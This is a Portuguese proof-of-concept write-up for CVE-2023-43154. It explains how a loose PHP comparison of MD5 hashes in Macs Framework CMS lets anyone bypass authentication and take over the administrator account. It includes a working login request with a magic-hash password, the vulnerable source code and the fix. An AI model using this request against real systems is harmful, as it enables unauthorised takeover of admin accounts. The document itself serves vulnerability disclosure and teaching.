
PoC para a vulnerabilidade de confusão de tipos no CMS da Mac que resulta em bypass de autenticação e tomada de conta de administrador.
CVE-ID: CVE-2023-43154
CVSS 3.1: 9.8
Descrição da Vulnerabilidade: Uma comparação frouxa na função isValidLogin() resulta em uma vulnerabilidade de confusão de tipo no PHP que pode ser explorada para desviar a autenticação e assumir o controle da conta do administrador.
Parâmetros Vulneráveis: O nome de usuário e a senha dos usuários no CMS.
Produtos Afetados: Macs Framework v1.14f - Sistema de Gerenciamento de Conteúdo
Limitações:
Interação do Usuário Necessária: Nenhuma
Referências: https://github.com/ally-petitt/CVE-2023-43154-PoC
Data da Descoberta: 7 de setembro de 2023
Relatado Por: Ally Petitt
Fazer login na URI /index.php/main/cms/login com o nome de usuário da conta alvo e qualquer senha que resulte em um hash mágico levará ao desvio de autenticação.
Um exemplo de login é mostrado abaixo.
POST /index.php/main/cms/login HTTP/1.1
Host: 172.17.0.2
Content-Length: 62
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://172.17.0.2
Referer: http://172.17.0.2/index.php/main/cms/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=di4ceqcv9432vcb0p27rkh7k82
Connection: close
ajaxRequest=true&&username=testadmin&password=0gdVIdSQL8Cm&scrollPosition=0
HTTP/1.1 200 OK
Date: Sat, 09 Sep 2023 02:01:26 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 72
Connection: close
Content-Type: text/html; charset=ISO-8859-1
<script>window.location.href="http://172.17.0.2/index.php/home"</script>
O código de status 200 e o redirecionamento para /index.php/home são ambos indícios de que a tentativa de login foi bem-sucedida. A senha de testadmin não era a senha usada na tentativa de login (0gdVIdSQL8Cm). Em vez disso, estava definida como QNKCDZO.
Quando um usuário tenta fazer login, a senha fornecida é hashada e enviada como parâmetro para a função isValidLogin() através da função inicial login() que é chamada quando uma solicitação POST é feita para /index.php/Main/CMS/login.
public function login()
{
if($this->isValidLogin(Post::getByKey('username'), $this->encrypt(Post::getByKey('password')) ) || ( $this->isAdminLoggedIn() ))
--snip--
}
A função isValidLogin() começa na linha 83 do arquivo /Application/plugins/CMS/controllers/CMS.php. Ela é vulnerável a uma vulnerabilidade de confusão de tipo devido ao uso de 2 sinais de igual em vez de 3.
private function isValidLogin($username, $password)
{
$this->loadModels();
$loggedIn = false;
foreach (Config::$editInPlaceAdmins as $key=>$account)
{
if(( $account['username'] == $username) && ($account['password'] == $password ) )
{
$loggedIn = true;
Session::set('AdminLoggedIn', $account);
break;
}
}
Conforme mostrado na instrução if, o nome de usuário e a senha estão sendo verificados com uma comparação frouxa, levando a uma vulnerabilidade de confusão de tipo no PHP. Isso pode ser explorado ao fazer login com uma senha que resulta em um hash mágico, ou hash que é interpretado pelo PHP como tendo o valor 0 durante uma comparação frouxa. Uma lista dessas senhas pode ser encontrada aqui.
Para explorar isso, é importante primeiro entender o formato em que $account['password'] é armazenado. Na função usada para salvar uma nova conta de usuário na linha 730 do arquivo CMS.php mencionado, fica claro que a senha é primeiro passada por uma função encrypt antes de ser armazenada.
$password = $this->encrypt(Post::getByKey('password'));
$confirmPassword = $this->encrypt(Post::getByKey('confirmPassword'));
-- snip --
private function saveNewUser( $username, $password, $emailAddress, $roleId)
Continuando para a função que é chamada após a senha passar por encrypt, o seguinte código é usado:
private function saveNewUser( $username, $password, $emailAddress, $roleId)
{
--snip--
$this->usersModel->insertUser($username, $password, $emailAddress, $roleId);
--snip--
}
Com base no código acima, é evidente que a senha "criptografada" foi colocada diretamente no Model users do framework MVC. Finalmente, para explorar essa vulnerabilidade, é necessário entender como a função encrypt funciona, pois sua saída está sendo diretamente comparada com a entrada do usuário.
private function encrypt( $string )
{
return md5($string);
}
A função encrypt retorna o hash MD5 da string passada a ela. Isso significa que quando a função login() é chamada com as credenciais fornecidas pelo usuário, a senha inserida é hashada e comparada com o hash MD5 armazenado da conta alvo.
A implicação é que, ao usar uma senha que resulta em uma colisão PHP, ou hash mágico, ela será registrada como equivalente quando comparada com uma senha armazenada que também segue o formato de um hash mágico. Como resultado, um número muito grande de senhas pode ser usado para autenticar e assumir o controle da conta de administrador, mesmo quando a senha inicial não é previamente conhecida.
Essa vulnerabilidade pode ser mitigada alterando a comparação frouxa na função isValidLogin() para uma comparação estrita, substituindo == por ===.